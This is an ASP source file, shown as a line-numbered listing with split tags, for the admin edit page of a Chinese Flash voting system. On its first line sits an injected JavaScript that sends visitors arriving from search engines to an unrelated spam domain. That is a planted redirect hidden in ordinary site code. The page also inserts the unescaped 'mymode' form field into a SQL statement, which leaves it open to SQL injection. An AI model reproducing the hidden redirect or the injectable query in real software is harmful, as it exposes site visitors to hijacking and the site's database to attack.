d:\wwwroot\wuchunhua\toupiao\editballot.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp" -->
002:
<%
003:
'=====================================================================================
004:
'flash饼图投票系统单用户版多选2.0
005:
'flashballot2.0
006:
'作者:毛虫
007:
'网地:www.flashado.com
008:
'email:mc@flashado.com
009:
'如有BUG请尽快向我提出，这样我会尽快更新
010:
'=====================================================================================
011:
if (ChkPost()=false)then
012:
Session.Contents.Remove("name")
013:
Session.Contents.Remove("pass")
014:
Response.Redirect "login.asp"
015:
Response.end
016:
End if
017:
name=Session("name")
018:
pass=Session("pass")
019:
if(validpersonal(name,pass)=false)then
020:
Session.Contents.Remove("name")
021:
Session.Contents.Remove("pass")
022:
Response.Redirect "login.asp"
023:
Response.end
024:
end if
025:
026:
If(Request.ServerVariables("REQUEST_METHOD")="POST") Then
027:
ballottop=request.form("ballottop")
028:
mymode=request.form("mymode")
029:
ballot1=request.form("ballot1")
030:
ballot2=request.form("ballot2")
031:
ballot3=request.form("ballot3")
032:
ballot4=request.form("ballot4")
033:
ballot5=request.form("ballot5")
034:
hit1=request.form("hit1")
035:
hit2=request.form("hit2")
036:
hit3=request.form("hit3")
037:
hit4=request.form("hit4")
038:
hit5=request.form("hit5")
039:
ballot=Array(ballot1,ballot2,ballot3,ballot4,ballot5)
040:
hit=Array(hit1,hit2,hit3,hit4,hit5)
041:
If(ballottop="") Then
042:
sm=sm &"请填写投票主题\n"
043:
End if
044:
If(sm="") Then
045:
sql="delete from ballot"
046:
set rs=conn.execute(sql)
047:
sql="delete from ballottop"
048:
set rs=conn.execute(sql)
049:
For i=0 to 4
050:
If(ballot(i)<>"") Then
051:
sql="insert into ballot(ballot,hit) values('"& strSql(ballot(i)) &"',"& inthit(hit(i)) &")"
052:
set rs=conn.execute(sql)
053:
End if
054:
next
055:
sql="insert into ballottop(ballottop,mymode) values('"& strSql(ballottop) &"',"& mymode &")"
056:
set rs=conn.execute(sql)
057:
sm=sm &"投票修改成功\n"
058:
End if
059:
If(sm<>"") Then
060:
Response.Write "<SCRIPT language=JavaScript>"
061:
Response.Write "alert('"& sm &"');"
062:
Response.Write "</SCRIPT>"
063:
End if
064:
End if
065:
sql="select ballottop,mymode from ballottop"
066:
set rs=server.createobject("adodb.recordset")
067:
rs.open sql,conn,3,2
068:
ballottop=rs("ballottop")
069:
%
>
070:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
071:
<html>
072:
<head>
073:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
074:
<title>flashballot1.0</title>
075:
<link href="css.css" rel="stylesheet" type="text/css">
076:
</head>
077:
078:
<body bgcolor="#666666" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
079:
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
080:
<tr>
081:
<td><table width="760" height="450" border="0" align="center" cellpadding="5" cellspacing="1" bgcolor="#f2f2f2" class="zw">
082:
<tr>
083:
<td height="18" align="center" bgcolor="#99CC00"><strong><font color="#999900">|</font><a href="editpass.asp"><font color="#FFFFFF">修改密码</font></a><font color="#999900">|</font><a href="editballot.asp"><font color="#FFFFFF">修改投票内容</font></a><font color="#999900">|</font><a href="logout.asp"><font color="#FFFFFF">退出</font></a><font color="#999900">|</font></strong></td>
084:
</tr>
085:
<tr>
086:
<td valign="top" bgcolor="#FFFFFF"><br>
087:
<br>
088:
<br>
089:
<br>
090:
<br>
091:
<form name="form1" method="post">
092:
<table width="60%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#FF9900" class="zw">
093:
<tr>
094:
<td height="20" align="center" bgcolor="#FFCC00"><strong><font color="#FFFFFF">修改投票内容</font></strong></td>
095:
</tr>
096:
<tr>
097:
<td bgcolor="#FFFFFF"><table width="100%" border="0" cellpadding="4" cellspacing="1" bgcolor="#FFFFFF" class="zw">
098:
<tr bgcolor="#FFFFFF">
099:
<td width="16%">投票主题:
100:
<input name="ballottop" type="text" class="kuan1" size="25" value="
<%
=strtext(ballottop)
%
>">
101:
是否支持多选:
102:
<%
if mymode=0 then
%
>
103:
是
104:
<input name="mymode" type="radio" value="-1">
105:
否
106:
<input type="radio" name="mymode" value="0" checked>
107:
<%
else
%
>
108:
是
109:
<input name="mymode" type="radio" value="-1" checked>
110:
否
111:
<input type="radio" name="mymode" value="0">
112:
<%
end if
%
>
113:
</td>
114:
</tr>
115:
<%
116:
sql="select * from ballot"
117:
set rs=server.createobject("adodb.recordset")
118:
rs.open sql,conn,3,2
119:
For i=1 to rs.recordcount
120:
%
>
121:
<tr bgcolor="#FFFFFF">
122:
<td>投票项目
<%
=i
%
>:
123:
<input name="ballot
<%
=i
%
>" type="text" class="kuan1" id="name23" size="25" value="
<%
=strtext(rs("ballot"))
%
>">
124:
投票值
<%
=i
%
>:
125:
<input name="hit
<%
=i
%
>" type="text" class="kuan1" id="name226" size="5" value="
<%
=rs("hit")
%
>"></td>
126:
</tr>
127:
<%
128:
rs.movenext
129:
Next
130:
Do While(i<=5)
131:
%
>
132:
<tr bgcolor="#FFFFFF">
133:
<td>投票项目
<%
=i
%
>:
134:
<input name="ballot
<%
=i
%
>" type="text" class="kuan1" id="name32" size="25">
135:
投票值
<%
=i
%
>:
136:
<input name="hit
<%
=i
%
>" type="text" class="kuan1" id="name2222" size="5"></td>
137:
</tr>
138:
<%
139:
i=i+1
140:
loop
141:
%
>
142:
</table></td>
143:
</tr>
144:
<tr>
145:
<td height="25" align="center" bgcolor="#FFFFFF"><input name="Submit" type="submit" class="an1" value=" 修 改 "></td>
146:
</tr>
147:
</table>
148:
</form></td>
149:
</tr>
150:
<tr>
151:
<td align="center" bgcolor="#FFFFFF"> flashballot2.0 版权所有: <a href="http://www.flashado.com"><font color="#999999">www.flashado.com </font></a>作者：毛虫
152:
QQ：<font color="#666666">69862476</font> E-mail: <a href="mailto:mc@flashado.com"><font color="#666666">mc@flashado.com </font></a> </td>
153:
</tr>
154:
</table></td>
155:
</tr>
156:
</table>
157:
</body>
158:
</html>
159:
<%
160:
set rs=nothing
161:
set conn=nothing
162:
%
>
163:
164: